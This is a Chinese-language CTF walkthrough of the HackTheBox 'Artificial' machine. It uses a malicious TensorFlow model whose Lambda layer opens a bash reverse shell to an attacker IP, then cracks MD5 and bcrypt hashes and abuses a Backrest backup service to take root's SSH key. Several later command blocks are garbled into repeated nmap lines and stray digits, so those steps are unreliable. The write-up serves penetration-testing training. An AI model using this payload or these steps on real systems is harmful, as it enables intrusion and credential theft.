hackthebox 的 Artificial 靶机官方定义为简单难度,实际上你需要对 tensorflow、backrest备份等有初步的了解,否则可能一头雾水,一旦有了初步的认识,加上亿点点🤏搜索技巧,就可以轻松解决掉这个机器
靶机地址
适合读者
√ 红队渗透测试人员√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者
一、信息收集
VPN 连接正常,能够访问目标机器
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.74 -oA nmapscan/ports
只开放了 22 和 80 端口
继续探测服务详细信息
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74
发现一个域名artificial.htb
,系统是 Ubuntu
域名和 IP 加到 hosts 中
echo '10.10.11.74 artificial.htb' >> /etc/hosts
子域名探测
gobuster
gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://artificial.htb -t 30 --append-domain
没发现其他的子域名
Web 信息收集
whatweb
dirsearch
dirsearch -u http://artificial.htb/ -e * -x 404
有注册和登录页面
信息整理
有用的信息并不多,看来只能继续从 80 端口的 web 找突破口
二、漏洞探测
初步探测
从网站主页可以看出是一个在线 AI 业务,可以在线构建测试和部署 AI 模型
继续看下面给出了 demo,除了 numpy 和 pandas 这两个数据处理库,还用到了 python 的机器学习框架tensorflow
,这个框架如果遇到恶意的模型可以直接被 RCE 的
正常注册一个账号并登录
环境配置
登录成功后看到如下页面,可以上传/管理/在线运行自己的模型,根据提示,需要在本地安装 tensorflow 库的 2.13.1 版本来构建自己的模型,不过经后续测试并不强制需要这个版本,任意新版本都行
本地配置复杂的话也可以使用上面页面的 docker 配置文件在 docker 中构建模型
把 Dockerfile 下载到本地
docker build -t my-image . # 在当前目录构建,这里需要较长的时间docker run -it my-image # 进入
反弹 shell
环境配置好后,查找 tensorflow 的漏洞发现如下文章
简单来说就是 Lambda 层允许用户在模型中嵌入任意Python代码。例如一个合法的Lambda层可能用于实现复杂的数学运算,但这种机制并没有限制代码的内容。因此,攻击者可以利用这一点,在Lambda层中嵌入恶意代码
根据文中的介绍,构建可以反弹 shell 的简单模型
import tensorflow as tfimport osdef exploit(x): import os os.system("/bin/bash -i >& /dev/tcp/10.10.14.78/4444 0>&1") return xmodel = tf.keras.Sequential()model.add(tf.keras.layers.Input(shape=(64,)))model.add(tf.keras.layers.Lambda(exploit))model.compile()model.save("model.h5")
生成的.h5
文件在网页上传,本地设置好监听,点击在线预览即可反弹成功
初步提权
当前用户是 app, 权限很小,只是个 web 权限,不过在当前 instance 目录下找到个 sqlite 数据库文件
在当前机器使用 sqlite 打开数据库,浏览里面的内容
# 打开数据库文件sqlite3 users.db# 查看表.tables# 查看表数据select*fromuser;
user 表看到一个 gael 用户
查看 passwd 发现 gael 用户是可登录用户,显然这个用户的价值更高,优先看一下它
把它的哈希用 hashcat 爆破一下,看起来是 md5
hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt
最终的到密码 gael 用户的密码
SSH 登录成功,拿到第一个 flag⛳️
三、权限提升
备份文件泄密
先尝试了 sudo、suid、crontab 等都没有可利用的提权
使用 linpeas 收集一下可能的提权信息,先提示了几个 CVE 漏洞
继续往下看到一个备份文件,拖回本地看一下
zxvf
解压失败?file 命令查看发现它实际只是 tar 文件,并没有用 gzip 压缩,障眼法👀
直接用xvf
参数解压即可,解压后在.config/backrest/config.json
文件发现一个账号密码,密码用的是Bcrypt
加密,但是看起来像被 base64 了一遍
先 base64 解码,再使用 john 破解,指定 Bcrypt 加密类型,得到密码
然而 backrest_root 这个用户并不是系统用户,不能 SSH 登录
端口转发
继续查看端口开放情况,发现 5000 和 9898 两个端口,但是仅能本机访问,所以前面 nmap 扫描的时候没有发现
通过 ssl 把端口转发出来,发现 9898 是个 web,backrest 备份服务
ssh -L 9898:localhost:9898 gael@artificial.htb
使用前面破解的backrest_root
账号密码可以登录成功
快照提权
对于这个系统不是很熟悉,赶紧现学了一下
可以把服务器或者 NAS 的数据持续进行备份,可以备份到本地也可以备份到云盘
点击主页面左侧的Add Repo
按钮,先创建个存储库
• 存储库名称随便写 • 存储库路径我选择它本地的 /tmp 目录 • 环境变量根据红色提示信息填写了一个密码 • 然后其他的默认,提交即可
创建存储库后可以执行命令
输入 help 能看到很多帮助命令
我在其中发现了几个有意思的命令
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74
0
依次执行几个命令进行提取尝试
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74
1
然后把私钥复制到本地,给 600 权限
ssh root 登录成功
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74
2
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...